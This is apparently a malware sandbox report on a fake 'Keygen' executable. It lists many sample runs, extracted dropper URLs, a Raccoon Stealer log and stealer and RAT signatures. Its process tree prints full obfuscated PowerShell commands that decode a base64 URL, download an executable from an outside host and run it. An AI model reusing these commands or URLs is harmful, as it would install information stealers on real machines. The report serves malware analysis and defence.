Overview

overview

10

Static

static

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...0).exe

windows7_x64

10

201001-nyh...0).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

8

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...1).exe

windows7_x64

10

201001-nyh...1).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

8

201001-nyh...2).exe

windows7_x64

10

201001-nyh...2).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...3).exe

windows7_x64

10

201001-nyh...3).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...4).exe

windows7_x64

10

201001-nyh...4).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...5).exe

windows7_x64

10

201001-nyh...5).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...6).exe

windows7_x64

10

201001-nyh...6).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...7).exe

windows7_x64

10

201001-nyh...7).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...8).exe

windows7_x64

10

201001-nyh...8).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...9).exe

windows7_x64

10

201001-nyh...9).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...2).exe

windows7_x64

10

201001-nyh...2).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...0).exe

windows7_x64

10

201001-nyh...0).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...1).exe

windows7_x64

10

201001-nyh...1).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...2).exe

windows7_x64

10

201001-nyh...2).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...3).exe

windows7_x64

10

201001-nyh...3).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...4).exe

windows7_x64

10

201001-nyh...4).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...5).exe

windows7_x64

10

201001-nyh...5).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...6).exe

windows7_x64

10

201001-nyh...6).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...7).exe

windows7_x64

10

201001-nyh...7).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...8).exe

windows7_x64

10

201001-nyh...8).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...9).exe

windows7_x64

10

201001-nyh...9).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...3).exe

windows7_x64

10

201001-nyh...3).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...0).exe

windows7_x64

10

201001-nyh...0).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...1).exe

windows7_x64

10

201001-nyh...1).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...2).exe

windows7_x64

10

201001-nyh...2).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...3).exe

windows7_x64

10

201001-nyh...3).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...4).exe

windows7_x64

10

201001-nyh...4).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...5).exe

windows7_x64

10

201001-nyh...5).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...6).exe

windows7_x64

10

201001-nyh...6).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...7).exe

windows7_x64

10

201001-nyh...7).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...8).exe

windows7_x64

10

201001-nyh...8).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...4).exe

windows7_x64

10

201001-nyh...4).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

8

201001-nyh...я.exe

windows10_x64

8

201001-nyh...я.exe

windows7_x64

8

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

8

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...5).exe

windows7_x64

10

201001-nyh...5).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...6).exe

windows7_x64

10

201001-nyh...6).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...7).exe

windows7_x64

10

201001-nyh...7).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...8).exe

windows7_x64

10

201001-nyh...8).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...9).exe

windows7_x64

10

201001-nyh...9).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...2).exe

windows7_x64

10

201001-nyh...2).exe

windows10_x64

10

201001-nyh...3).exe

windows7_x64

10

201001-nyh...3).exe

windows10_x64

10

201001-nyh...4).exe

windows7_x64

10

201001-nyh...4).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...en.exe

windows7_x64

10

201001-nyh...en.exe

windows10_x64

10

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

201001-e45lwcxsnn 10

01-10-2020 20:51

201001-fhxddb9gwe 10

01-10-2020 20:51

201001-ts8hns28ea 10

01-10-2020 20:51

201001-v1kt3kgljx 10

01-10-2020 20:51

201001-d2fbtjzv4s 10

01-10-2020 20:51

201001-cgj9prs442 10

01-10-2020 20:49

201001-t1jnpvwcgx 10

Analysis

  • max time kernel
    110s
  • max time network
    167s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    02-10-2020 21:14

General

  • Target

    201001-nyhbt4p25j_pw_infected/Keygen — копия (21) — копия.exe

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://bit.do/fqhJD

exe.dropper

http://bit.do/fqhJD

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://rbcxvnb.ug/zxcvb.exe

exe.dropper

http://rbcxvnb.ug/zxcvb.exe

Extracted

Path

C:\Users\Admin\AppData\LocalLow\machineinfo.txt

Family

raccoon

Ransom Note
[Raccoon Stealer] - v1.5.13-af-hotfix Release Build compiled on Mon Jul 6 14:33:02 2020 Launched at: 2020.10.02 - 23:19:55 GMT Bot_ID: 18823CA4-5761-4226-8787-CF36135F1C68_Admin Running on a desktop =R=A=C=C=O=O=N= - Cookies: 0 - Passwords: 5 - Files: 0 System Information: - System Language: English - System TimeZone: -0 hrs - IP: 154.61.71.13 - Location: 37.750999, -97.821999 | ?, ?, United States (?) - ComputerName: LZUKLIOU - Username: Admin - Windows version: NT 10.0 - Product name: Windows 10 Pro - System arch: x64 - CPU: Persocon Processor 2.5+ (2 cores) - RAM: 4095 MB (825 MB used) - Screen resolution: 1280x720 - Display devices: 0) Microsoft Basic Display Adapter ============

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers.

  • Azorult

    An information stealer that was first discovered in 2016, targeting browsing history and passwords.

  • Contains code to disable Windows Defender 4 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Oski

    Oski is an infostealer targeting browser data, crypto wallets.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • Raccoon log file 1 IoCs

    Detects a log file produced by the Raccoon Stealer.

  • ModiLoader Second Stage 1 IoCs
  • Blocklisted process makes network request 6 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 26 IoCs
  • Loads dropped DLL 15 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Windows security modification 2 TTPs 2 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops desktop.ini file(s) 1 IoCs
  • Suspicious use of SetThreadContext 9 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 3 IoCs
  • Kills process with taskkill 4 IoCs
  • Modifies registry class 3 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 19 IoCs
  • Suspicious use of SetWindowsHookEx 9 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FE99.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (21) — ?????.exe""
    1⤵
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:2180
    • C:\Users\Admin\AppData\Local\Temp\FE99.tmp\Keygen.exe
      Keygen.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      PID:3496
    • C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\FE99.tmp\m.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2924
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3656
        • C:\Users\Public\dlx.exe
          "C:\Users\Public\dlx.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:4972
          • C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
            "C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
            5⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of SetWindowsHookEx
            PID:4316
            • C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
              "C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
              6⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Checks processor information in registry
              PID:4528
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c taskkill /pid 4528 & erase C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe & RD /S /Q C:\\ProgramData\\839218577987494\\* & exit
                7⤵
                  PID:4504
                  • C:\Windows\SysWOW64\taskkill.exe
                    taskkill /pid 4528
                    8⤵
                    • Kills process with taskkill
                    • Suspicious use of AdjustPrivilegeToken
                    PID:5092
            • C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
              "C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
              5⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious behavior: MapViewOfSection
              • Suspicious use of SetWindowsHookEx
              PID:4340
              • C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
                "C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
                6⤵
                • Executes dropped EXE
                PID:4448
            • C:\Users\Public\dlx.exe
              "C:\Users\Public\dlx.exe"
              5⤵
              • Executes dropped EXE
              PID:4516
      • C:\Windows\SysWOW64\mshta.exe
        "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\FE99.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:756
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4032
      • C:\Windows\SysWOW64\timeout.exe
        timeout 1
        2⤵
        • Delays execution with timeout.exe
        PID:3024
      • C:\Windows\SysWOW64\mshta.exe
        "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\FE99.tmp\b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2772
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
          3⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:716
          • C:\Users\Public\tld.exe
            "C:\Users\Public\tld.exe"
            4⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Modifies registry class
            • Suspicious use of AdjustPrivilegeToken
            PID:4984
            • C:\Windows\SysWOW64\WScript.exe
              "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Rarujmxnv.vbs"
              5⤵
                PID:4120
                • C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe
                  "C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe"
                  6⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  • Modifies registry class
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3704
                  • C:\Windows\SysWOW64\WScript.exe
                    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Coctuoidu.vbs"
                    7⤵
                      PID:2016
                      • C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe
                        "C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe"
                        8⤵
                        • Executes dropped EXE
                        • Suspicious use of SetThreadContext
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:4280
                        • C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe
                          "C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe"
                          9⤵
                          • Executes dropped EXE
                          PID:4608
